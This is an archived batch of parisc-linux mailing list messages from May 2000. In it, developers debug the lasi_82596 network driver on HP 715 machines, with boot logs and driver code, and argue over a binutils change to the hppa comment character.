Date: Wed, 17 May 2000 22:38:47 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005172134010.1861-100000@boy.localdomain>
References: <20000517202635.E855@atl6narkp02a.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618917 32655 80.91.229.3 (22 Nov 2014 01:15:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bob Pflederer <krp@rsn.hp.com>
Original-X-From: csnow@julian.uwo.ca  Wed May 17 20:43:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA11252
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 May 2000 20:43:23 -0600
Original-Received: (qmail 10658 invoked by uid 15267); 18 May 2000 02:43:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10650 invoked from network); 18 May 2000 02:43:30 -0000
Original-Received: from mail.execulink.com (HELO amsterdam.execulink.net) (199.166.6.19)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 02:43:30 -0000
Original-Received: from ppp15.a2-1.56k.execulink.com (ppp15.a2-1.56k.execulink.com [209.239.9.15])
	by amsterdam.execulink.net (8.9.3/8.9.3) with ESMTP id WAA25548;
	Wed, 17 May 2000 22:39:14 -0400 (EDT)
X-Sender: chris@boy.localdomain
In-Reply-To: <20000517202635.E855@atl6narkp02a.atl.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7288

> When I was trying out a C180, I ran into problems in about the same point
> in boot.  In my case it turned out to be a problem in the lasi_82596
> driver.  It was executing the interrupt handler before the driver was finished
> being initialized.  You might try editing lasi_82596.c to make i596_debug
> 10:
> 
> #define I82596_DEBUG 10
> 
> #ifdef I82596_DEBUG
> int i596_debug = I82596_DEBUG;
> #else
> int i596_debug = 1;
> #endif
> 
> This will get you lots more debug messages from the driver so you can see
> if it's doing something funny.  I have a hacked version of lasi_82596.c
> that may have worked around this problem and some others that I was finding,
> but I'm not really sure what state it's in (it may not even compile) as I 
> haven't had time to play with it in over a month.  I'll email it to you so 
> you can see if it takes you any further.

I reached the same conclusion you do.   Actually, I got your reply just as
I was about to delve into all the nice output of I82596_DEBUG 10 :)

Unfortunately, your modified driver doesn't seem to help... still crashes
at the same point :(

I'm going to investigate this further.  I'll let you know what turns up.


     Chris



From - Thu Nov 08 21:12:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New binutils available from cvs
Date: Thu, 18 May 2000 03:45:36 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <20000518034536.A14031@puffin.external.hp.com>
References: <Pine.LNX.4.21.0005181154270.24452-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618917 32660 80.91.229.3 (22 Nov 2014 01:15:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:17 +0000 (UTC)
To: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Thu May 18 04:22:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA15718
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 04:22:08 -0600
Original-Received: (qmail 18466 invoked by uid 15267); 18 May 2000 10:22:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18459 invoked from network); 18 May 2000 10:22:15 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 10:22:15 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id DAA14124;
	Thu, 18 May 2000 03:45:36 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <Pine.LNX.4.21.0005181154270.24452-100000@front.linuxcare.com.au>; from Alan Modra on Thu, May 18, 2000 at 12:41:13PM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7289

On Thu, May 18, 2000 at 12:41:13PM +1000, Alan Modra wrote:
> Hello everyone,
>    I have just uploaded a new binutils to puffin.external.hp.com cvs.  The
> new binutils, which you can get with "cvs co binutils-2.10", is a merge of

Any reason for renaming cvs modules all the time instead of staying with
one name and perhaps not pissing off people with slow, expensive
connections ?

> ***BIG WARNING**
>   This binutils goes back to using the standard hppa comment char and line
> separator char.  Existing puffin parisc code needs to be modified to suit,

This
 a) makes certain glbic code harder to work (which already does work, at
    that)
 b) is inconsistent with every single other architecture that does run
    Linux
 c) is inconsistent with my tree, and basically forces me to distribute
    binutils and gcc patches in addition to the gcc one-liner I already
    have.

All in all this strikes me as not too smart.

BTW, did you fix gcc to work with -mdisable-fpregs and actually make the
kernel use that in the CVS tree ?  It caused a lot of oopses here before
I worked around it (patch is at
ftp://linux-parisc.sourceforge.net/pub/linux-parisc/) (why we got oopses
and what is wrong should be quite obvious if you know RTL - I don't and
it seems reasonably obvious to me, I just can't fix it).

	Philipp Rumpf


From - Thu Nov 08 21:12:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New binutils available from cvs
Date: Thu, 18 May 2000 20:37:20 +1000 (EST)
Lines: 55
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005181952080.6449-100000@front.linuxcare.com.au>
References: <20000518034536.A14031@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618918 32662 80.91.229.3 (22 Nov 2014 01:15:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu May 18 04:37:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA16034
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 04:37:33 -0600
Original-Received: (qmail 24436 invoked by uid 15267); 18 May 2000 10:37:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24425 invoked from network); 18 May 2000 10:37:39 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 10:37:39 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA10505;
	Thu, 18 May 2000 20:37:20 +1000
In-Reply-To: <20000518034536.A14031@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7290

On Thu, 18 May 2000, Philipp Rumpf wrote:

> On Thu, May 18, 2000 at 12:41:13PM +1000, Alan Modra wrote:
> > Hello everyone,
> >    I have just uploaded a new binutils to puffin.external.hp.com cvs.  The
> > new binutils, which you can get with "cvs co binutils-2.10", is a merge of
> 
> Any reason for renaming cvs modules all the time instead of staying with
> one name and perhaps not pissing off people with slow, expensive
> connections ?

Mainly so people can still easily use the old binutils.  .diff.gz came to
1.8M anyway.  I can put the diff somewhere you can get it, if you like.

> > ***BIG WARNING**
> >   This binutils goes back to using the standard hppa comment char and line
> > separator char.  Existing puffin parisc code needs to be modified to suit,
> 
> This
>  a) makes certain glbic code harder to work (which already does work, at
>     that)

Can you explain this?

>  b) is inconsistent with every single other architecture that does run
>     Linux
>  c) is inconsistent with my tree, and basically forces me to distribute
>     binutils and gcc patches in addition to the gcc one-liner I already
>     have.
> 
> All in all this strikes me as not too smart.

Using `!' for comments
a) breaks fp condition codes.
b) is inconsistent with existing hp assembler.

All in all .... :-)

Item a) is the killer.  It might be possible to work around this problem
and make `!' start a comment only when the preceding non-whitespace
character is not a comma, but this sort of horrible hack hasn't much hope
of ever being accepted back into FSF binutils.

> BTW, did you fix gcc to work with -mdisable-fpregs and actually make the
> kernel use that in the CVS tree ?  It caused a lot of oopses here before
> I worked around it (patch is at
> ftp://linux-parisc.sourceforge.net/pub/linux-parisc/) (why we got oopses
> and what is wrong should be quite obvious if you know RTL - I don't and
> it seems reasonably obvious to me, I just can't fix it).

No, I haven't done anything with gcc

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 LAN interface
Date: Thu, 18 May 2000 04:40:34 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20000518044034.B14031@puffin.external.hp.com>
References: <Pine.LNX.4.21.0005172239190.1861-100000@boy.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618918 32664 80.91.229.3 (22 Nov 2014 01:15:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:18 +0000 (UTC)
To: Chris Snow <csnow@julian.uwo.ca>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Thu May 18 04:40:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA16225
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 04:40:49 -0600
Original-Received: (qmail 25764 invoked by uid 15267); 18 May 2000 10:40:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25756 invoked from network); 18 May 2000 10:40:56 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 10:40:56 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id EAA16217;
	Thu, 18 May 2000 04:40:34 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <Pine.LNX.4.21.0005172239190.1861-100000@boy.localdomain>; from Chris Snow on Wed, May 17, 2000 at 10:41:59PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7291

> The documentation on LASI (lasi_ers.ps) seems to be specific to the
> 712.  But, AFAIK the 715 has the same ethernet (82596).  Is it safe to
> assume that the LAN section of lasi_ers.ps is equally applicable to the
> 715 interface, or is there some other documentation somewhere that I
> should consult ?

It basically is the same (we had it working.  if it doesn't now you're
probably reinventing the wheel), except that the paragraph in lasi_ers.ps
that reads

"	Even though the megacell is in CA mode, the port accesses look
	like the part is in DX mode: the data needs to be on the lower
	16 bits of the data bus for both port accesses.  This change
	should be sufficient to make the CA mode look like DX mode to
	software, maintaining software compatibility with previous 700
	implementations."

really means "we word-swap the CPU port register and didn't for previous
implementations.  This means you need to change your software or you'll
never even see the nic exists.".

translated to the wonderful language of 82596.c, the function that reads

static inline void MPU_PORT(struct net_device *dev, int c, volatile void *x)
{
#ifdef ENABLE_MVME16x_NET
        if (MACH_IS_MVME16x) {
                struct i596_reg *p = (struct i596_reg *) (dev->base_addr);
                p->porthi = ((c) | (u32) (x)) & 0xffff;
                p->portlo = ((c) | (u32) (x)) >> 16;
        }
#endif
#ifdef ENABLE_BVME6000_NET
        if (MACH_IS_BVME6000) {
                u32 v = (u32) (c) | (u32) (x);
                v = ((u32) (v) << 16) | ((u32) (v) >> 16);
                *(volatile u32 *) dev->base_addr = v;
                udelay(1);
                *(volatile u32 *) dev->base_addr = v;
        }
#endif
}

needs to do the word-swapping for 715/old, but doesn't for 715/new and 712.

(also it should use gsc_writel()).


Generally, 715/olds won't support the new dynamic PCI DMA API, while 712s
will.  My suggestion is that someone takes over the taks of maintaining
the drivers we actually need (82596, scsi, parallel if your masochistic),
using the old DMA API.  I personally will use my 715 as diskless dumb
terminal only if at all so I only care about 82596.

	Philipp Rumpf


From - Thu Nov 08 21:12:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New binutils available from cvs
Date: Thu, 18 May 2000 04:51:38 -0600
Lines: 79
Approved: news@gmane.org
Message-ID: <20000518045138.C14031@puffin.external.hp.com>
References: <20000518034536.A14031@puffin.external.hp.com> <Pine.LNX.4.21.0005181952080.6449-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618918 32667 80.91.229.3 (22 Nov 2014 01:15:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: prumpf@puffin.external.hp.com  Thu May 18 04:51:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA16394
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 04:51:49 -0600
Original-Received: (qmail 30459 invoked by uid 15267); 18 May 2000 10:51:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30452 invoked from network); 18 May 2000 10:51:53 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 10:51:53 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id EAA16389;
	Thu, 18 May 2000 04:51:38 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <Pine.LNX.4.21.0005181952080.6449-100000@front.linuxcare.com.au>; from Alan Modra on Thu, May 18, 2000 at 08:37:20PM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7292

On Thu, May 18, 2000 at 08:37:20PM +1000, Alan Modra wrote:
> On Thu, 18 May 2000, Philipp Rumpf wrote:
> 
> > On Thu, May 18, 2000 at 12:41:13PM +1000, Alan Modra wrote:
> > > Hello everyone,
> > >    I have just uploaded a new binutils to puffin.external.hp.com cvs.  The
> > > new binutils, which you can get with "cvs co binutils-2.10", is a merge of
> > 
> > Any reason for renaming cvs modules all the time instead of staying with
> > one name and perhaps not pissing off people with slow, expensive
> > connections ?
> 
> Mainly so people can still easily use the old binutils.  .diff.gz came to
> 1.8M anyway.  I can put the diff somewhere you can get it, if you like.
> 
> > > ***BIG WARNING**
> > >   This binutils goes back to using the standard hppa comment char and line
> > > separator char.  Existing puffin parisc code needs to be modified to suit,
> > 
> > This
> >  a) makes certain glbic code harder to work (which already does work, at
> >     that)
> 
> Can you explain this?
> 
> >  b) is inconsistent with every single other architecture that does run
> >     Linux
> >  c) is inconsistent with my tree, and basically forces me to distribute
> >     binutils and gcc patches in addition to the gcc one-liner I already
> >     have.
> > 
> > All in all this strikes me as not too smart.
> 
> Using `!' for comments
> a) breaks fp condition codes.

No, it doesn't.  The condition code for fp "not equal" is "<>", not "!=".

> b) is inconsistent with existing hp assembler.

Your point ?

We broke existing assembly language / used the smarter of two possibilities
on almost all architectures.

> All in all .... :-)

All in all even _if_ you have a reason to change it back it could have used
some discussion.  So far you haven't.

> Item a) is the killer.  It might be possible to work around this problem
> and make `!' start a comment only when the preceding non-whitespace
> character is not a comma, but this sort of horrible hack hasn't much hope
> of ever being accepted back into FSF binutils.

Any idea which illegal drug the person who decided "!=" was the fp not
equal condition code was on ;) ?

> > BTW, did you fix gcc to work with -mdisable-fpregs and actually make the
> > kernel use that in the CVS tree ?  It caused a lot of oopses here before
> > I worked around it (patch is at
> > ftp://linux-parisc.sourceforge.net/pub/linux-parisc/) (why we got oopses
> > and what is wrong should be quite obvious if you know RTL - I don't and
> > it seems reasonably obvious to me, I just can't fix it).
> 
> No, I haven't done anything with gcc

Anyone else ?  I think you (plural) should at least have a look causing
random data corruption.

> Linuxcare.  Support for the Revolution.

And it's just in historical spirit that those actually supporting the
revolution lose their jobs ... (yes, I think the signature is quite 
inconsiderate.)


	Philipp Rumpf


From - Thu Nov 08 21:12:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New binutils available from cvs
Date: Thu, 18 May 2000 21:09:09 +1000 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005182055320.6449-100000@front.linuxcare.com.au>
References: <20000518045138.C14031@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618919 32671 80.91.229.3 (22 Nov 2014 01:15:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu May 18 05:09:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA16573
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 05:09:23 -0600
Original-Received: (qmail 6574 invoked by uid 15267); 18 May 2000 11:09:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6567 invoked from network); 18 May 2000 11:09:29 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 11:09:29 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA11150;
	Thu, 18 May 2000 21:09:09 +1000
In-Reply-To: <20000518045138.C14031@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7293

On Thu, 18 May 2000, Philipp Rumpf wrote:

> > Using `!' for comments
> > a) breaks fp condition codes.
> 
> No, it doesn't.  The condition code for fp "not equal" is "<>", not "!=".

I'm talking about floating point compare instruction conditions, for
example: "fcmp,dbl,!?>= %fr4,%fr5"

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/50 hang - more info
Date: Thu, 18 May 2000 05:03:42 -0700 (PDT)
Lines: 231
Approved: news@gmane.org
Message-ID: <20000518120342.6224.qmail@web515.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618919 32680 80.91.229.3 (22 Nov 2014 01:15:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:19 +0000 (UTC)
To: Chris Snow <csnow@julian.uwo.ca>, parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Thu May 18 06:04:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA17091
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 06:04:02 -0600
Original-Received: (qmail 953 invoked by uid 15267); 18 May 2000 12:04:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 946 invoked from network); 18 May 2000 12:04:09 -0000
Original-Received: from web515.mail.yahoo.com (216.115.104.230)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 12:04:09 -0000
Original-Received: from [149.234.12.1] by web515.mail.yahoo.com; Thu, 18 May 2000 05:03:42 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7294

Hi Chris,

I had the same problem on my 715/33 with lasi_82596.c.
I emailed Helge Deller who made the last changes to
this driver and he told me that there seems to be the
problem that not all interrupts from the i82596 are
delivered to the interrupt routine. The result of this
is that all 16 xmit buffers will get filled and then
the kernel hangs.

He also told me that he will have no time until 23rd
of May (approx.) to find the reason for this and to
correct it. So right now there is no way to use
NFSROOT on a 715/old.

Bob Pflederer's observations concerning I82596_DEBUG
are correct. But it is sufficient to #define it to 3
to make the driver work.

Ulrich  
--- Chris Snow <csnow@julian.uwo.ca> wrote:
> 
> I managed to find some widgets and hook the serial
> output of the HP to my
> PC, so I'm sending along the entire boot output, as
> well as my .config.
> 
> 
> output:
> ------
>               (c) Copyright Hewlett-Packard Company,
> 1991, 1992
> Portions of this code are (c) Copyright Samsung
> Electronics Co., Ltd, 91,
> 92 
> 
> PDC ROM rev. 1.3
> IODC ROM rev. 1.1
> 32 MB of memory have been configured.
> 
> 
> Selecting a system to boot.
> To stop selection process, press and hold the ESCAPE
> key.
> 
> Booting from:     lan.00a024-95c59e.3.6     boy
> 
> Hard booted.
> palo ipl chris@boy Wed May 17 18:19:21 EDT 2000
> 0/vmlinux 1991268 bytes @ 0x7800
> 0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX
> root=/dev/nfs
> nfsroot=192.168.1.2'
> Kernel: partition 0 file /vmlinux
> ELF32 executable
> prepare_loadable 0050368c 2
> 
> Entry 0010182c first 00100000 n 3
> Segment 0 load 00100000 size 1123464 mediaptr 0x1000
> Segment 1 load 00214000 size 158452 mediaptr
> 0x114000
> Segment 2 load 0023c000 size 8192 mediaptr 0x13b000
> branching to kernel entry point 0x0010182c
> The Kernel has started...
> Free memory starts at: 0xc02a8000
> PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs
> nfsroot=192.168.1.2'
> PALO initrd 0-0
> FP CCR was 0x0, will be set to 0xc0
> model   00003100 00000481 00000000 00000000 7816bc26
> ffffffff 00000004
> 0000000a 0000000a
> vers    0000000b
> CPUID vers 0 rev 0
> CPU(s): 1 x PA7100 at 50.000000 MHz
> Searching for devices in PDC firmware...  an older
> box...
> Found devices:
> 1. Stinger Optional Graphics (10) at 0xf4000000,
> versions 0x6, 0x0, 0x77,
> 0x0, 0x0
> 2. Scorpio Core BA (11) at 0xf082f000, versions 0x7,
> 0x0, 0x70, 0x0, 0x0
> 3. Scorpio Core SCSI (10) at 0xf0825000, versions
> 0x7, 0x0, 0x71, 0x0, 0x0
> 4. Scorpio Core LAN (802.3) (10) at 0xf0826000,
> versions 0x7, 0x0, 0x72,
> 0x0, 0x0
> 5. Scorpio Core HIL (10) at 0xf0821000, versions
> 0x7, 0x0, 0x73, 0x0, 0x0
> 6. Scorpio Core RS-232 (10) at 0xf0823000, versions
> 0x7, 0x0, 0x75, 0x0,
> 0x0
> 7. Scorpio Core RS-232 (10) at 0xf0822000, versions
> 0x7, 0x0, 0x75, 0x0,
> 0x0
> 8. Scorpio Core Centronics (10) at 0xf0824000,
> versions 0x7, 0x0, 0x74,
> 0x0, 0x09. Scorpio Audio (10) at 0xf1000000,
> versions 0x7, 0x0, 0x7b, 0x0,
> 0x0
> 10. Scorpio EISA BA (11) at 0xfc000000, versions
> 0x7, 0x0, 0x76, 0x0, 0x0
> 11. Scorpio (715/50) (0) at 0xfffbe000, versions
> 0x310, 0x0, 0x4, 0x0,
> 0x81
> 12. Scorpio (1) at 0xfffbf000, versions 0x17, 0x0,
> 0x9, 0x0, 0x0
> That's a total of 12 devices.
> Linux version 2.3.99-pre1 (chris@boy) (gcc version
> 2.9-hppa-991112) #8 Wed
> May 17 18:18:58 EDT 2000
> initrd: 00000000-00000000
> pagetable_init
> On node 0 totalpages: 8192
> zone(0): 4096 pages.
> zone(1): 4096 pages.
> zone(2): 0 pages.
> trap_init
> Calibrating delay loop... 42.19 BogoMIPS
> Memory: 29436k available
> kmem_test() - start
> kmem_free: Bad front redzone (objp=c1ffe004,
> name=test-cachep)
> kmem_free: Bad rear redzone (objp=c1ffe004,
> name=test-cachep)
> kmem_test() - finished
> c1ff0000 c1ff8000 c1fee000 c1ffc000
> Buffer-cache hash table entries: 1024 (order: 0,
> 4096 bytes)
> Page-cache hash table entries: 8192 (order: 3, 32768
> bytes)
> POSIX conformance testing by UNIFIX
> ASP version 1 at 0xf0800000 found.
> request_irq(259, c01bfd00, 0x0, asp, c1fe9080)
> ASP IRQ 259 EIM 0xfffe0003
> busdevice_alloc_irq(0xf0823000) on ASP 0x200 + 26 =
> 538
> Found serial #0 at 0xf0823000, IRQ 538
> ttyS00 at iomem 0xf0823800 (irq = 538) is a 16550A
> busdevice_alloc_irq(0xf0822000) on ASP 0x200 + 25 =
> 537
> Found serial #1 at 0xf0822000, IRQ 537
> ttyS00 at iomem 0xf0822800 (irq = 537) is a 16550A
> busdevice_alloc_irq(0xf0826000) on ASP 0x200 + 23 =
> 535
> Found i82596 at 0xf0826000, IRQ 535
> early initialization of device eth0 is deferred
> Linux NET4.0 for Linux 2.3
> Based upon Swansea University Computer Society
> NET3.039
> NET4: Linux TCP/IP 1.0 for NET4.0
> IP Protocols: ICMP, UDP, TCP
> IP: routing cache hash table of 512 buckets, 4Kbytes
> TCP: Hash tables configured (established 2048 bind
> 2048)
> Starting kswapd v1.6
> Serial driver version 4.92 (2000-1-27) with
> MANY_PORTS SHARE_IRQ
> SERIAL_PCI enabled
> pty: 256 Unix98 ptys configured
> RAMDISK driver initialized: 16 RAM disks of 4096K
> size 1024 blocksize
> 82596.c: MAC of HP700 LAN blindely read from the
> prom!
> eth0: 82596 at 0xf0826000, 08 00 09 62 82 1E IRQ
> 535.
> lasi_82596.c:v1.2 02/13/2000
> eth0: lp at 0xc1fd4000 (1720 bytes), lp->scb at
> 0xc1fd4014
> request_irq(535, c01baea8, 0x0, i82596, c1fecc00)
> busdev_enable_irq(c1fe9080, 23) ASP: IMR 0x100
> busdev_disable_irq(c1fe9080, 23) ASP: IMR 0x0
> 
> ----- end of output
> 
> and here is my .config (it is the default, I haven't
> changed anything...)
> 
> .config
> -------
> #
> # Automatically generated make config: don't edit
> #
> CONFIG_PARISC=y
> # CONFIG_UID16 is not set
> 
> #
> # Code maturity level options
> #
> CONFIG_EXPERIMENTAL=y
> 
> #
> # General options
> #
> # CONFIG_SMP is not set
> CONFIG_GSC=y
> CONFIG_GSC_LASI=y
> CONFIG_PCI=y
> CONFIG_GSC_DINO=y
> # CONFIG_PCI_LBA is not set
> 
> #
> # Loadable module support
> #
> # CONFIG_MODULES is not set
> 
> #
> # General setup
> #
> CONFIG_NET=y
> CONFIG_SYSVIPC=y
> # CONFIG_BSD_PROCESS_ACCT is not set
> # CONFIG_SYSCTL is not set
> CONFIG_BINFMT_SOM=y
> # CONFIG_BINFMT_ELF is not set
> # CONFIG_BINFMT_MISC is not set
> # CONFIG_BINFMT_JAVA is not set
> 
> #
> # Block devices
> #
> 
=== message truncated ===


__________________________________________________
Do You Yahoo!?
Send instant messages & get email alerts with Yahoo! Messenger.
http://im.yahoo.com/


From - Thu Nov 08 21:12:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Snow <csnow@julian.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/50 hang - more info
Date: Thu, 18 May 2000 08:31:56 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005180830031.13618-100000@boy.localdomain>
References: <20000518120342.6224.qmail@web515.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618919 32684 80.91.229.3 (22 Nov 2014 01:15:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: csnow@julian.uwo.ca  Thu May 18 06:40:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA17585
